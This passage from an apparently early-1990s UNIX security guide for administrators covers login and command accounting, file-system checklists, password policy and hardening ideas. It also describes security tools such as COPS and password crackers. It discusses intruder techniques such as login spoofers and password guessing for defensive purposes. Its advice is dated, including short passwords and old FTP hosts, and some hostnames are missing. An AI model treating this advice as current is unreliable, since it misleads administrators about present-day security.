courtesy for system administrators so they can evaluate the usage of the
anonymous `ftp' facility.  The password is given within parenthesis after
the hostname.

In the case where lines start with a user name, a normal user logged in to
transfer files.  This allows managers to know who is transferring files
and what files they are transferring.

Account Monitoring
Account security should be monitored periodically in order to check for
two things:

   * Users logged in when they shouldn't be (i.e., late at night, when
     they're on vacation, etc.)
   * Users executing commands they wouldn't normally be expected to use.

`Last' looks back in the `wtmp' file which records all logins and logouts
for information about a user, a teletype or any group of users and
teletypes.  Arguments specify names of users or teletypes of interest.
Names of teletypes may be given fully or abbreviated. For example `last 0'
is the same as `last tty0'.  If multiple arguments are given, the
information which applies to any of the arguments is printed.  For example
`last root console' would list all of "root's" sessions as well as all
sessions on the console terminal.  `Last' displays the sessions of the
specified users and teletypes, most recent first, indicating the times at
which the session began, the duration of the session, and the teletype
which the session took place on.  If the session is still continuing or was
cut short by a reboot, `last' so indicates.  `last' with no arguments
displays a record of all logins and logouts, in reverse order.  Here is an

     $ last -5 joeuser
     joeuser     ttyp1    ws1.cs.podunk.e  Wed Jun  6 10:04   still logged in
     joeuser     ttyp1    ws1.cs.podunk.e  Wed Jun  6 10:03 - 10:04  (00:01)
     joeuser     ttyp3  Tue Jun  5 15:01 - 15:01  (00:00)
     joeuser     ttyp0    maggie.podunk.e  Tue Jun  5 10:05 - 19:44  (09:38)
     joeuser     console  ws2.cs.podunk.e  Tue Jun  5 09:49 - 10:05  (00:16)

`Lastcomm' gives information on previously executed commands.  `Lastcomm'
with no arguments displays information about all the commands recorded
during the current accounting file's lifetime.  If called with arguments,
`lastcomm' only displays accounting entries with a matching command name,
user name, or terminal name.  For example:

     $ lastcomm
     who              simpsonb   ttyp0       0 secs Wed Jun  6 10:03
     mesg             joeuser    ttyp1       0 secs Wed Jun  6 10:03
     biff             joeuser    ttyp1       0 secs Wed Jun  6 10:03
     csh         F    joeuser    ttyp1       0 secs Wed Jun  6 10:03

For each process entry, lastcomm displays the following items of

   * The command name under which the process was called.
   * One or more flags indicating  special  information  about
     the process.  The flags have the following meanings:

        * F  The process performed a fork but not an exec.
        * S  The process ran as a set-user-id program.
        * D  The process dumped memory.
        * X  The process was killed by some signal.

   * The name of the user who ran the process.
   * The terminal which the user was logged in on at the  time (if applicable).
   * The amount of CPU time used by the process (in seconds).
   * The date and time the process exited.

File System Monitoring
Checking for security holes in the file system is another important part of
making your system secure.  Primarily, you need to check for files that can
be modified by unauthorized users, files that can inadvertently grant users
too many permissions, and files that can inadvertently grant access to
crackers. It is also important to be able to detect unauthorized
modifications to the file system, and to recover from these modifications
when they are made [Curr90].

`Find' recursively descends the directory hierarchy for each pathname in a
pathname-list, seeking files that match a boolean (logical) expression.
Some of the more useful expressions that can be used are:

 -name filename
     True if the filename argument matches the current file name.   Shell
     argument syntax can be used if escaped (watch out for [, ? and *).

 -perm -onum
     True if the file permission flags exactly match the octal number onum
     (see `chmod').  If onum is prefixed by a minus sign, more flag bits
     (017777, see  `chmod')  become  significant and the flags are
     compared: (flags&onum) == onum.

     True if the file belongs to a user not in `/etc/passwd'.

     True if the file belongs to a group not in `/etc/group'.

 -exec command'
     True if the executed command returns a zero value as exit status.  The
     end of command must be punctuated by an escaped semicolon.  A command
     argument {} is replaced by the current pathname.

As an example, here is how you would get a list of all the set UID root
files on your system.

     $ find / -perm -4000 -print
     /bin/df                This by far not a complete list, it is here
     /bin/passwd            just to show you what might pop up.

Checklists can be a useful tool for discovering unauthorized changes made
to system directories.  They aren't practical on file systems that contain
users' home directories since these change all the time.  A checklist is a
listing of all the files contained in a group of directories: their sizes,
owners, modification dates, and so on.  Periodically, this information is
collected and compared with the information in the master checklist.  Files
that do not match in all attributes can be suspected of having been

There are several utilities that implement checklists available from public
software sites; however, a simple utility can be constructed using only the
standard UNIX `ls' and `diff' commands.

First, use the `ls' command to generate a master list.  This is best done
immediately after installing the operating system, but can be done at any
time provided you're confident about the correctness of the files on the
disk.  A sample command is shown below.

     $ ls -aslgR /bin /etc /usr > MasterChecklist

The file MasterChecklist now contains a complete list of all the files in
these directories.  You will probably want to edit it and delete the lines
for files you know will be changing often (e.g., `/etc/utmp',
`/usr/adm/acct' ).  The MasterChecklist file should be stored somewhere
safe where a cracker is unlikely to find it (since he could otherwise just
change the data in it): either on a different computer system, or on
magnetic tape.

To search for changes in the file system, run the above `ls' command again,
saving the output in some other file, say CurrentList.  Now use the `diff'
command to compare the two files:

     $ diff MasterChecklist CurrentList

Lines that are only in the master checklist will be printed preceded by a
"<," and lines that are only in the current list will be preceded by a ">."
If there is one line for a file, preceded by a "<," this means that the
file has been deleted since the master checklist was created.  If there is
one line for a file, preceded by a ">," this means that the file has been
created since the master checklist was created.  If there are two lines for
a single file, one preceded by "<" and the other by ">," this indicates
that some attribute of the file has changed since the master checklist was

By carefully constructing the master checklist, and by remembering to
update it periodically (you can replace it with a copy of CurrentList, once
you're sure the differences between the lists are harmless), you can easily
monitor your system for unauthorized changes.  The software packages
available from the public software distribution sites implement basically
the same scheme as the one here, but offer many more options for
controlling what is examined and reported.

It is impossible to overemphasize the need for a good backup strategy.
File system backups not only protect you in the event of hardware failure
or accidental deletions, but they also protect you against unauthorized
file system changes made by a cracker.  A good backup strategy will dump
the entire system at level zero (a "full" dump) at least once a week.
Partial (or "incremental") dumps should be done daily.

Know Your System
Aside from running large monitoring programs such as those described in the
previous sections, simple everyday UNIX commands can also be useful for
spotting security violations.  By running these commands often, whenever
you have a free minute (for example, while waiting for someone to answer
the phone), you will become used to seeing a specific pattern of output.
By being familiar with the processes normally running on your system, the
times different users typically log in, and so on, you can easily detect
when something is out of the ordinary.

To really know how your system is set up, you need to know what files
should or shouldn't be on your disks.  Doing an `ls' periodically, will
give you a better feel for what is out there.  It may also show you
suspicious files left by earlier intruders, faulty programs, or the former
keepers of your machine.  Be sure to use the `-a' option to catch the
infamous `...' directory.  (Of course, remember that `.' and `..' are
supposed to be there.)

ps and top
`Ps' displays information about processes.  Normally, only those processes
that are started by you and are attached to a controlling terminal are
shown.  Additional categories of processes can be added to the display
using various options.  In particular, the `a' option allows you to include
processes that are not owned by you (that do not have your user ID), and
the `x' option allows you to include processes without control terminals.

`Top' displays the top 15 processes on the system and periodically updates
this information.  Raw cpu percentage is used to rank the processes.  If
number is given, then the top number processes will be displayed instead of
the default.  This allows you to monitor your system for a certain period
of time and see what process are using the CPU heavily and which ones
aren't.  On Convex systems, there is an equivalent program called 'syspic'.

who and finger
The `who' command displays the list of user currently logged in on the
system.  By running this periodically, you can learn at what times during
the day different users log in.  For long `who' listings, you can use the
`users' command instead.

If you would like more information about the users logged in, use the
`finger' command.  It's output is like:

     $ finger
     Login        Name              TTY Idle   When          Where
     joeuser   Joe E. User          *p0      Wed 12:01
     simpsonb  Bart Simpson          p4      Wed 15:33

Improving Your Security

       "It will only take a minute."
   -- A UNIX Programmer

Even after closing the numerous well-known security holes throughout your
system, security must remain that the forefront.  You need to gather and
write tools to maintain your security level.  These tools can be in the
form of policies to enforce, monitoring software, and learning where to go
for help.  The thought of continuously improving the overall security must
remain resident.

Policies are very important on computer systems.  They dictate how a user
is supposed to act while using your resources.  Although in some
environments it is difficult enough to set a policy, it is much more of a
problem to enforce.

Password Policies
There are several guidelines one should follow when selecting a
password.  Here are some DO's and DON'T's:

   + DO use a password with mixed-case alphabetics.

   + DO use a password with NON-alphabetic characters, e.g., numbers
     and/or punctuation.

   + DO use a password that contains AT LEAST six characters.

   - DON'T use your login name in any form (as is, reversed, capitalized,
     doubled, followed by a digit, etc.) to construct your password.

   - DON'T use your first, middle, or last name in any form.

   - DON'T use the name of a spouse, child, girlfriend, etc.

   - DON'T use other information easily obtained.  This includes your
     license plate numbers, telephone numbers, social security number, the
     brand of your automobile, street name, etc.

   - DON'T use a password of all numbers, or all the same letter (e.g.,
     123456, 999999, AAAAAA).  This significantly decreases the search time
     for a hacker.

   - DON'T use a word contained in (English or foreign) dictionaries,
     spelling lists, or other lists of words.

Now here are some suggestions on how to choose a good password:

   * Choose a line or two from a song, poem, or phrase and use the first
     character of each word.  For example:

          Don't have a cow man! -- Bart Simpson
          becomes:  Dhacm!BS

   * Alternate between one consonant and one or two vowels, up to eight
     characters.  This provides nonsense words that are usually
     pronounceable, and thus easily remembered.  Examples include:

          routboo, quadpop, and so on.

   * Chose two short words or acronyms and concatenate them together with a
     punctuation character between them.  For example:

          dog;rain, book+mug, DoD$shoe

   * Some miscellaneous examples:

          [IIsir]   A catchy phrase within brackets
          u7sCaGf   7CG inside usaf
          -=>99<=-  Something simple for hockey fans
          100%=A+   A password you "grad" students can remember
          !!URdead  A little something for those on the "front"

Also remember that the "unprintable characters" can be used as part of your
password.  These keys include the ESCape key and characters made up by
holding down the control (Ctrl) key and pressing an alphabetic character.
Be sure NOT to use keys that might have special meaning to your terminal
package.  These include:

   * <Ctrl> s
   * <Ctrl> h
   * <Ctrl> |
   * #
   * @

Software Policies
Software can be categorized in many ways.  It can be referred to as:

  1. Proprietary
  2. Locally written
  3. Public Domain
  4. GNU
  5. Shareware

Each of these categories are different when it comes to licensing
agreements, but when it comes right down it, a system manager has only two
types of software: supported and unsupported.

Supported software is easy to deal with.  When there is a bug, you contact
the person or companies that supports that piece of software and work with
them to get adequate corrections.  Support can be given via a local
department, a vendor, or a third party.

Unsupported software is software that your organization does not officially
support, but they do recognize that it is on the system and is being used
by the user community.  This software should be installed under a seperate
directory than the locally written software, but will follow the same
directory structure.  There should be NO WARRANTY as to the effectiveness
or usefulness of these programs.  It should be assumed that they are
reasonably secure.  This does NOT infer that they have been thouroughly
checked for possible security holes, but that they have been lightly
checked over and appear safe for general use.  There are a lot of useful
and productive software packages that should not be thrown away because
your local support and vendors do not provide them.  Some the best software
available is free.  For example:

GNU Emacs
     An extensible self-documenting text editor

     GNU's highly rated C compiler

University Ingres
     A scaled version of the Ingres Relational database

     A windowing system written at M.I.T.

     Revison Control System

Below are some thoughts on how to counter security problems.  They may
not all be useful, but they can provoke thought on how to handle local

  1. Periodically search the inode tables on all file systems for setuid
     programs owned by root and executable by ordinary users.  Compare
     results with a list of known legitimate programs of this kind.  This is
     complicated by the existence of groups and setgid, requiring further
     logic to detect all dangerous cases.  Also search inodes to look for
     special files outside the `/dev' directory.  Restrict root logins
     and `su'-ing to the super-user account(s) to a very restricted
     group of terminals; e.g. thoses inside the computer room.  This could be
     done under control of the  `/etc/ttys' file, but it is safer if it
     is written right into the code.  Modify the `su' program so the
     user has to invoke it as `/bin/su', to foil alternate `su'
     programs hidden in other places that are actually password grabbers.
     This could also be done with the `do' command.

  2. Keep a log of every `login' or `su' to the root account.  Best
     to keep the log in a file for easy on-line examination and also to print
     the information on the console in case an intruder removes or edits the
     log file.

  3. Develop a comprehensive plan for access to and control of all system
     files. That is, identify which files and directories need to be readable
     and writable by which users.  Set up ownerships and groups to minimize
     the need for use of super-user status.  An added benefit of this is a
     reduced number of accidents by legitimate super-users making mistakes.
     Write a script to check and correct permissions.

  4. Possibly don't allow login to root at all; make it accessible only
     through `su'-ing from a known account and `do'-ing from known
     "doers".  The purpose is so that every entry to the super-user account
     is from some other account and can be logged, so we know in every case
     who became super-user.  Question is whether to make root absolutely
     impossible to log into, by giving it an impossible password, and then
     modify `su' to let any certified good guy into root without a
     password (same as having do all privileges), or do we keep the password
     and modify login to refuse direct `login' as root.

  5. Periodically check the `password' and `group' files for
     improper entries or defective lines.  Save the `password' file
     every night and compare with previous day's file, then examine
     `diff' listings for bogus accounts.

  6. Encourage users to encrypt all sensitive text, both because of
     occasional intrusions and because they shouldn't trust the super-user.
     (Note, however, that the encryption program supplied with the system is
     not very secure.  In fact there are now tools widely distributed that
     will break this encryption with a few minutes of work).

  7. Staff should, at odd hours, scan the system for signs of strange
     activity, or for files that don't look quite right.  It is helpful to
     have seperate login names for this purpose, so it isn't so obvious when
     it is being done.

  8. Periodically compare binary files of setuid-root programs with known
     good copies stored off line.  Same for other sensitive programs (those
     run by `cron' or `init').  Or compute checksums on binaries,
     save them somewhere, and periodically recalculate and compare with
     stored values.

  9. It may be useful to set up uids for particular purposes and use programs
     that are setuid something other than root.  This technique reduces the
     number of programs that have to be setuid root, but unless carefully
     applied it can decrease security by making too many uids sensitive.  It
     seems wise to have an owner other than root for all files that have to
     be writable by everybody, as a file owned by root and writable by
     someone else is always a potential burglar tool.  Use setgid rather than
     setuid if possible, since it is more restrictive.

 10. It is important to keep source of the operating system and commands
     unreadable by ordinary users.  Having source available makes it easier
     for the intruder to prepare trap doors or discover already existing
     holes.  It is nice if source can be kept on a physically dismountable
     file system to be mounted only when it is being used.  Second best is a
     file system that can be write locked with a switch when the staff is not
     using it.  NFS provides such a capability.

 11. Staff with super-user privileges must be trained never to run a
     user-preferred program while running as super-user.

 12. Keeping dot out of the super user command search path helps prevent
     inadvertent running of user programs while super-user.  This must extend
     to users who have `su'-ed to root from their own accounts.

 13. Periodically scan the directories for names containing unprintable
     characters and other oddities.  These are often a sign of mischief.
     Likewise, files in a user directory not owned by that user.

 14. Develop a procedure (shell script or program) which automatically runs
     the whole gamut of security auditing and correcting operations.  This
     should be run at odd hours, and preferably should suppress listing what
     it is doing in a `ps' listing.

 15. Have a policy on what to do with intruders when caught.  My feeling is
     that penalties should be based on damages rather than on accomplishment;
     e.g. the person who breaks into the system and does no damage and tells
     us how he did it gets a reward, while the person who steals or destroys
     another's work or makes the system inoperative gets punished.  Milder
     punishment for one who doesn't do any damage but doesn't report finding
     a hole in the system.  Others disagree strongly with this proposal, and
     insist that for reason of professional integrity all illegitimate uses
     of the system should be punished, regardless of actual damages or lack
     thereof.  New laws make any kind of penetration a criminal act; but,
     there is a lot to be learned about how to get evidence in these cases.

 16. Change the default user mask to 077.  Then a user has to act, and thus
     hopefully think, before moving into a more dangerous domain.  Naive
     users then have to learn how to reduce security rather than how to
     increase it.

 17. Change the default mode for users' terminals to 0600 at login time.
     Keep it at 0600 always when the terminal is not logged in.  This is to
     guard against spoofers who open a terminal from a program that simulates
     the login program and catches passwords.  It also guards against someone
     other than the owner changing modes and similar unkind things.

 18. Modify the kernel to prevent creation of core files when the user is
     running setuid or setgid.  When core files are created they should be
     mode 600.

 19. Modify the kernel so that users can't link to files they can't read.
     Such linking is not inherently unsecure, since the user can't do
     anything with a file he has linked to, but it is clearly unnecessary and
     makes it easier for the user to get away with something by other
     techniques.  Unfortunately this does not work for symbolic links.  A
     user can create any desired directory structure within his own home
     directory, make a symbolic link of the form `../../../foo/bar'
     within that structure, and then `mv' the symbolic link so that it
     points to some other file elsewhere in the system.

 20. Modify `atrun' so it won't run a file submitted by root.  This is
     to forestall all the devious ways of getting a user file owned by root
     into the `at' spool directory.  This is no real inconvenience in
     running the system, since  `cron' can always be used for privileged
     operations at later hours.

 21. Modify the kernel to provide a group having no privileges.  Make this
     the login group for root and staff members, so that by default we don't
     create programs with group privileges.  This will be the default group
     for all sensitive programs and files.

 22. Consider making operator functions directly executed at login, rather
     than having an account for the operators.  The reason for this is that
     the operator password rarely changes and has to be widely known.

 23. Designate a person to receive reports of penetration attempts and keep
     them filed.

 24. Develop a program to check object files for system calls that are
     reserved for the super user.  This is a quick way to check whether an
     object file contains a trap door, without having to compare it with a
     known good object.  This will produce a certain amount of unwanted
     output but we should soon learn what to ignore.

 25. Modify the kernel so that setuid-root programs are executable only if
     they reside on rootdev.  This cuts down greatly the amount of territory
     that needs to be scanned for burglar tools.  (Scanning should still be
     done occasionally over the whole system to discover users who possess
     burglar tools, even though they are ineffective.)  If a separate disk
     spindle or partition is available for `/tmp' then nothing on the
     root device is writable by an ordinary user, making it all the harder
     for one to get a privileged program of his own. Sun has gone further in
     making `nosetuid' an option for all mountable file systems.

 26. Modify the kernel so that special files can be opened only if the inode
     resides on rootdev.  This make ineffective any special file inodes in
     user accounts where they shouldn't be.

 27. Log on console whenever a file is owned by root and gets its setuid bit
     turned on. (On 4.xBSD VMUNIX also sends the message to the user with
     uprintf().  This is done so the super user will be warned if he does
     some command which has a side effect of doing setuid-root for somebody.)

 28. In writing programs that must run privileged, it is a good practice to do
     all the privileged actions first and then drop privileges as soon as
     possible. This makes it easier to examine the program to see that it
     does in fact handle it privileges with discretion.

 29. Modify `mail' so that it does not `chown' a file that has more
     than one link.  Also make the  `/usr/spool/mail' directory
     unwritable by ordinary users, and have the `mail' program truncate
     `/usr/spool/mail/name' files to zero length when it is unable to
     remove them for this reason.

 30. Modify `write', `mail', etc. programs so they cannot transmit
     non-printing characters to the recipient.  This is to foil those that
     change terminal modes mischievously or send commands to block mode

 31. Disallow non-super users from setting the setuid bit on files.  For the
     few legitimate needs for this setting the user can apply to the system
     manager to have the bit set.  This foils the Trojan horse in a program
     proffered by one user to another which has the side effect of creating a
     setuid shell owned by the victim.  At the University of California at
     Santa Cruz, this was made a compile-time option of the kernel, so that
     it can be turned on or off for the various kinds of users/machines

 32. Programs in general should be executable only, not readable and
     executable. Prevent users from getting private copies of programs, from
     reading programs for possibly-confidential filenames, etc.  Stripping
     symbol tables from commands is also a good idea, both to save disk space
     and to make it harder for the user to pick at them.

 33. The system administrator should periodically run the best available
     password guessing program and warn users whose passwords are guessed.

 34. Modify `write' to accept input only from a tty.  This will keep
     users from redirecting humongous files, such as `/usr/dict/words'
     to a users terminal.

 35. 4.3BSD offers some alternative ideas on terminal protection.  All
     terminals have group ownership of the tty group, which is used for no
     other purpose.  Then to allow writing to his terminal, the user makes it
     writable to the group.  The `write' programs run setgid tty and can
     open the terminal for writing if group write permission is set.  This
     seems safe, since only ttys are in the special group; the user can't
     create a file owned by himself and group-owned by the tty group.

     Similarly, there are other special groups for very restricted purposes.
     Disk special files are group owned and readable by an  operator group,
     which allows operators to do file backups.  Only the dump program uses
     this group; and it is executable only by members of the group.

 36. Modify the `login' program to make it harder for spoofers by
     reading a file `.secret' from the user's home directory to get a
     string to use in prompting for password.  The `login' program,
     being privileged, is able to read this file; the spoofer is not, and is
     not likely to keep a list of login names and secret prompts to search
     when someone runs his program.  Associated with this is another change
     to `login' program such that on the third unsuccessful login
     attempt the program sleeps for twenty seconds and exits.  This is to
     make it more time-consuming for a potential spoofer writer to try
     logging in to every account to compile a list of secret prompts.  While
     this doesn't provide real authentication it does help.  Users would
     probably like the idea because their private password prompts can be
     cute.  This has been implemented at UCSC.

     Someone has suggested that this might be foiled by a spoofer that gets
     the login name, opens a pseudo tty, tries to login on that pseudo with
     the login name, gets the personal password prompt that way, gives it
     to the user and collects the password.

     A note from Jim Haynes from UCSC:
          Perhaps as a result of the `.secret' files, we have seen a
          lot less spoofing lately and a lot more of password guessing
          using modern high-performance guessers.  These tend to avoid
          detection by being run on the intruder's personal computer
          or some other computer on a network. Otherwise we examine
          long-running programs to see if they are password guessers.
          (Use gcore and strings on the core image)  One way to foil
          these is the use of "shadow" password files, in which the
          encrypted passwords are not visible to the non-privileged
          users.  Shadow password files are no help if the attacker is
          after a particular account and its password is well-chosen;
          but if he will settle for any account on the machine, then
          he is likely to find a few if he can get the encrypted

Software Tools
Because security is of great concern to many sites, a wealth of software
has been developed for improving the security of UNIX systems.  Much of
this software has been developed at universities and other public
institutions, and is available free for the asking.

COPS is a collection of about a dozen programs that each attempt to tackle
a different problem area of UNIX security.  Among the areas checked are
file, directory, and device permissions/modes, passwords, contents of
password and group files, the contents of `/etc/rc' and `cron' files,
changes in SUID status, the writability of users home directories and
startup files as well.  It also includes the Kuang expert system, written
by Bob Baldwin, that takes a set of rules and tries to determine if your
system can be compromised.  For a more complete list of all of the checks,
look at the file `release.notes' or `' in the COPS distribution.

All of the programs merely warn the user of a potential problem -- COPS
FINDS!  COPS either mails or creates a file (user selectable) of any of the
problems it finds while running on your system.  And because COPS does not
correct potential hazards it finds, it does not have to be run by a
privileged account (i.e. root or whomever.)  The only security check that
should be run by root to get maximum results is the SUID checker; although
it can be run as an unprivileged user, to find all the SUID files in a
system, it should be run as root.

UPDATE: The latest release of COPS is Version 1.02 and is currently being
        rewritten in PERL to increase the overall speed of the package.
        COPS is PERL is slated for release in April 1991.

The `Fast Encryption Package' written by Matt Bishop is a package designed
to help a site improve password security.  These tools and their associated
library enable a site to force users to pick reasonably safe passwords and
enable site management to try to crack existing passwords.  The library
contains various versions of a very fast implementation of the Data
Encryption Standard and of the one-way encryption function used to encrypt
UNIX passwords.


This version of `passwd' tests passwords to ensure that they conform to
your site's requirements for a secure password.  These requirements are
defined within a configuration file that can be easily modified as your
site's requirements change.  It will also allow knowledgable users to
change their default shell to one that the system accepts as legitimate, as
defined by `/etc/shells'.  GECOS information can also be updated to help
insure correctness.

Password Cracker

A password cracker is also provided to allow administrators check the
password file to insure poorly chosen passwords were not used.  If the
`password' program distributed with the DES zip package is used and a
decent configuration file is written, this will reduce the number of
passwords found on your system.  Some of the options available on the
password cracker are:

   * Use of word lists such as `/usr/dict/words'
   * Checkpointing
   * Check login names forwards and backwards
   * Check GECOS field information
   * Automatically report and mail nasty-grams to offenders

The `npasswd' command, developed by Clyde Hoover at the University of Texas
at Austin, is intended to be a replacement for the standard UNIX `passwd'
command, as well as the Sun `yppasswd' command.  `Npasswd' makes passwords
more secure by refusing to allow users to select insecure passwords.

Project Athena
Here is a note by Dr. Daniel E. Geer, Jr. about Project Athena at M.I.T.  I
have slightly changed the format to make it more useful for this paper.
There are certainly more features than the ones detailed below, but the
gathering of this information is left to the interested reader.

This is an overview of the Athena model of (distributed) computation and a
brief, annotated list of the Athena modules, per se.  As with any complete
system in actual use, a prose summary will fail to mention a goodly number
of minor applications.  Following this discussion, please refer to the
Project Athena Technical Plan for the most complete treatment now
available.  We also enclose a customer service level description of the
Athena environment, written for the benefit of MIT faculty.  The model of
computation of the Athena environment is that of network services.  We view
the workstation as a user agent, a dataless node able to access a range of
services from the network using protocols specific to the task at hand
and/or remote procedure calls.  Workstations are a commodity in our
environment, and inherit their run-time characteristics from the service
environment in which they reside as amended by user preference.
Configuration is centrally managed, but locally modifiable.  For our core
hardware base, coherence of the application programming interface is
provided.  Outside that core, coherence of the network service layer is
provided.  The ability to scale up to large installations (order ten
thousand hosts) is purposeful, maintained by design strategies ensuring
that normal operation contains no cost components linear with either the
number of hosts or the number of user or service entities in that
environment.  The system is in full production and in daily use on
approximately one thousand workstations and servers.  The system currently
runs on BSD Unix and Ultrix on hardware platforms consisting of the IBM
PC/RT and Digital VAXstations and DECstations.  It is written entirely in C
and can easily be ported to other hardware environments.

The X Window System, applications, & libraries

X is a network transparent, device independent, vendor neutral window
system.  Defined by its protocol, it supports full featured use of all
points addressable displays, including, but not limited to, drawing text
and graphics, full motion video, color and monochrome, and has abstraction
layers suitable for construction of highly portable applications.

Hesiod nameservice, applications, & libraries

The Hesiod nameservice is an application programming interface layer over a
standard substrate, viz. the Berkeley InterNet Domain (BIND) nameservice.
It provides a standardized way to expand partial resolution requests, and
represents a simple abstraction layer for applications to provide location
independence in a network services environment.  It provides similar
functionality to the Sun's Yellow Pages, but with differnet tradeoffs.
Hesiod is more secure, scales up to larger communities, and does not make
excessive use of broadcast packets, but is somewhat more difficult to setup
and maintain.

Kerberos authentication service, applications, & libraries

Kerberos is a network communications security support system, providing
authentication for an open network environment.  Modelled on the Needham &
Schroeder trusted third party protocol, it provides provable authentication
of claimed identities in the presence of untrusted hosts and untrusted
nets.  It provides the application writer with a simple library for network
authentication while it offers a sophisticated administration model to the
wide area systems manager.

Kerbersos version 4 is currently in daily use at MIT and other institutions
worldwide.  It uses the Data Encryption Standard for the encryption.
Version 5 is being implemented, and will provide more features such as the
ability to substitute other encryption systems and cleans up some problems
with the version 4 code.  Kerberos Version 5 may be proposed as an Internet
Elective Standard through the RFC process.

Zephyr notification service, applications, & libraries

Zephyr is a wide area, multicast, subscription based messaging system.  It
supports arbitrary typecasting on messages, thereby permitting Zephyr to be
used as a common carrier to messages of whatever type yet without central
registration of those types.  The practical applications of this system
include operational control as well as rendevous applications such as OLC
(vide infra).

Moira service management system, applications, & libraries

The Moira system permits aggregation of all the control information
required to operate the campus into a single, tightly controlled and
pangyric database.  It contains a database interface server, a number of
client programs, a data control manager, and various update listeners that
run on a wide variety of servers as required.  The particular database
technology is concealed behind an abstraction layer.  The availability of
the Kerberos authentication system, the Hesiod nameservice, and the Ingres
database system are prerequisites for the operation of Moira.

OLC system, applications, & libraries

The On-Line Consulting (OLC) system is a rendevous mechanism, connecting an
individual with a question to another individual with the answer.  Intended
for the naive user, OLC permits a bootstrap operation for nearly any type
of use difficulty in the Athena environment.  The server side of OLC also
provides a stock answer browser and management and q.a.  related logging of
transactions.  The availability of the Kerberos authentication system, the
Hesiod nameservice, and the Zephyr notification system are prerequisites
for the operation of OLC.

RVD diskblock service and associated kernel modifications

Remote fileservice is a requirement for even small batches of workstation
hosts.  The filesystem, if readonly, can be managed using the cpu
horsepower of either end of the connection as indicated by a load
management policy.  In the case of Athena, it is important to have the
client to server ratio be at a maximum, and so it is indicated to make the
client end of the fileservice connection do the filesystem traversal
operation.  In short, a block server is the indicated strategy, and the
Remote Virtual Disk (RVD) system is an exemplar answer to this design
point.  RVD is an MIT LCS product heavily modified by Athena.  It is highly
unlikely to become a commercial product.

GMS global message system

The traditional Unix login-time announcement mechanism of displaying the
contents of the file /etc/motd is not maintainable in a wide area
workstation environment.  In addition, the contents of that file may change
on a schedule dynamically different from that of the rest of the software
suite, necessitating maintenance and writeability constraints on the whole
software suite unsuitable on behalf of that one file.  Instead, the Athena
environment includes a global message service (GMS) that permits the
retrieval of the message of the day from a server, comparison of the
message retrieved with messages already viewed by the user, and display of
the relevant or the explicitly requested message.  In this way, the GMS
facility is a mix of the functionality provided by the /etc/motd and mesg
mechanisms.  substantially revised version of the T shell (tcsh) The basic
shell known as the C shell (csh) is the user interface of default or
choice, depending on opinion, in the BSD environment.  Athena has made
moderately extensive changes to the command line operation of the C shell
mimicing a Tenex shell known as the T shell.  These changes are made to a
product owned only by UCB, not AT&T, and can be distributed in difference
form if required.  All the Athena user community uses this modified shell,
as do many persons outside that community.

Discuss conferencing system, applications, & libraries

Discuss is a multi-user, location transparent, server arbitrary
conferencing system modelled on the old Multics forum system.  A
button-and-mouse interface also exists, but is inherently inferior as it
cannot catch the full flexibility of the command line interface.
Configured by individual systems managers, a user need not know the
location of the service.  The supported user interface is the lowest common
denominator, purely a command line interface, but a button and mouse
interface is in preparation.

Palladium print services system, applications, and libraries

The Palladium print services system is an implementation of the standard
for print systems as proposed to ISO by ECMA.  It is a complete and modern
print system, in the distributed services paradigm.  It supports arbitrary
connection trees between logical and physical print queues, printing local
to the workstation, filtration of print streams including redirection of
print jobs on the basis of filter output, accounting, remote management of
both print services and individual print jobs, and an RPC interface that is
vendor neutral, device independent, and consistent across both print
servers and supervisors.

On-Line Help (OLH)

The OLH system is a complete access to help services for the distributed
computing environment.  It includes both character and display oriented
user interfaces, and references both static (text) and interactive help
services (such as OLC, vide supra).  Its user interface is, of course,
transparently easy to use.  Providers of services can attach their help
system to the global OLH dynamically, such as at the time of the initial
service connection, without any requirement of central administrative

Where to go for Fixes
Several sites on the internet maintain large repositories of publically
available and freely distributable software, and make this material
available for anonymous ftp.  It is best to attempt to obtain the software
locally if at all possible.  For general information locally, you can
contact via E-mail

Sun Microsystems
Sun Microsystems has contracted with UUNET Communications Services, Inc.
to make fixes available via anonymous ftp.  You can access these fixes by
using the `ftp' command to connect to the host  The fixes are
located in the directory `sun-fixes'.

Berkeley Software Distribution
The University of California at Berkeley also makes fixes available via
anonymous `ftp'; these fixes pertain primarily to the current release of
"BSD UNIX" (currently release 4.3).  However, even if you are not running
their software, these fixes are still important, since many vendors (Sun,
DEC, Sequent, etc.) base their software on the Berkeley releases.  The
Berkeley fixes are available for anonymous `ftp' from the host in the directory `4.3/ucb-fixes'.  The file `INDEX' in
this directory describes what each file contains.  Berkeley also
distributes new versions of `sendmail' and `named' from this machine.

Simtel-20 and UUNET
The two largest general-purpose software repositories on the Internet are
the hosts and is
a TOPS -20 machine operated by the U. S.  Army at White Sands Missile
Range, New Mexico.  The directory `pd2:<unix-c>' contains a large amount of
UNIX software, primarily taken from the `comp.sources' newsgroups. is operated by UUNET Communications Services, Inc. in Falls
Church, Virginia.  This company sells Internet and USENET access to sites
all over the country (and internationally).  The software posted to the
following USENET source newsgroups is stored here, in directories of the
same name:

Numerous other distributions, such as all the freely distributable Berkeley
UNIX source code, Internet Request for Comments (RFCs), and so on are also
stored on this machine.

Many vendors make fixes for bugs in their software available
electronically, either via mailing lists or via anonymous `ftp'.  You
should contact your vendor to find out if they offer this service, and if
so, how to access it.

Who to ask for Help
One of the most difficult things about keeping a system secure is finding
out about the security holes before an intruder.  To combat this, there are
several sources of information you can and should make use of on a regular
This mailing alias on the host receives and distributes security
related information to the local security weenies.  If there are any
security related questions about HQ USAF-LAN hosts, this is a good place to

The Computer Emergency Response Team
The Computer Emergency Response Team (CERT) was established in December
1988 by the Defense Advanced Research Projects Agency to address computer
security concerns of research users of the Internet. It is operated by the
Software Engineering Institute at Carnegie-Mellon University.  The CERT
serves as a focal point for the reporting of security violations, and the
dissemination of security advisories to the Internet community. In
addition, the team works with vendors of various systems in order to
coordinate the fixes for security problems.

The CERT sends out security advisories to the cert-advisory mailing list
whenever appropriate.  They also operate a 24-hour hotline that can be
called to report security problems (e.g., someone breaking into your
system), as well as to obtain current (and accurate) information about
rumored security problems.

To join the cert-advisory mailing list, send a message to requesting to be added.  HQ receives the mailings
directly from CERT and distributes it locally to cut down on internet
traffic.  Past advisories are available for anonymous `ftp' from the host  The 24-hour hotline number is (412) 268-7090.

DDN Management Bulletins
The "DDN Management Bulletin" is distributed electronically by the Defense
Data Network (DDN) Network Information Center under contract to the Defense
Communications Agency.  It is a means of communicating official policy,
procedures, and other information of concern to management personnel at DDN

The "DDN Security Bulletin" is distributed electronically by the "DDN SCC"
